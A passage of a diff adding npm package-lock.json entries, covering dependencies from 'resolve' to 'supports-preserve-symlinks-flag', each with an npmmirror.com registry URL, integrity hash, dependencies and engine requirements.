"sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmmirror.com/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/scule": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/scule/-/scule-1.3.0.tgz", + "integrity": "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==", + "dev": true + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==", + "dev": true + }, + "node_modules/selfsigned": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/selfsigned/-/selfsigned-2.4.1.tgz", + "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==", + "dev": true, + "dependencies": { + "@types/node-forge": "^1.3.0", + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmmirror.com/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "dev": true, + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==", + "dev": true + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "dev": true + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmmirror.com/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "dev": true, + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.2", + "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.2.tgz", + "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmmirror.com/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/sirv": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/sirv/-/sirv-2.0.4.tgz", + "integrity": "sha512-94Bdh3cC2PKrbgSOUqTiGPWVZeSiXfKOVZNJniWoqrWrRkB1CJzBU3NEbiTsPcYy1lDsANA/THzS+9WBiy5nfQ==", + "dev": true, + "dependencies": { + "@polka/url": "^1.0.0-next.24", + "mrmime": "^2.0.0", + "totalist": "^3.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmmirror.com/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dev": true, + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.20", + "resolved": "https://registry.npmmirror.com/spdx-license-ids/-/spdx-license-ids-3.0.20.tgz", + "integrity": "sha512-jg25NiDV/1fLtSgEgyvVyDunvaNHbuwF9lfNV17gSmPFAlYzdfNBlLtLzXTevwkPj7DhGbmN9VnmJIgLnhvaBw==", + "dev": true + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/spdy-transport/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/ssri": { + "version": "8.0.1", + "resolved": "https://registry.npmmirror.com/ssri/-/ssri-8.0.1.tgz", + "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "dev": true, + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "dev": true + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmmirror.com/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "dev": true + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/strip-indent/-/strip-indent-2.0.0.tgz", + "integrity": "sha512-RsSNPLpq6YUL7QYy44RnPVTn/lcVZtb48Uof3X5JLbF4zD/Gs7ZFDv2HWol+leoQN2mT86LAzSshGfkTlSOpsA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-literal": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-2.1.1.tgz", + "integrity": "sha512-631UJ6O00eNGfMiWG78ck80dfBab8X6IVFB51jZK5Icd7XAs60Z5y7QdSd/wGIklnWvRbUNloVzhOKKmutxQ6Q==", + "dev": true, + "dependencies": { + "js-tokens": "^9.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/strip-literal/node_modules/js-tokens": { + "version": "9.0.1", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-9.0.1.tgz", + "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", + "dev": true + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": 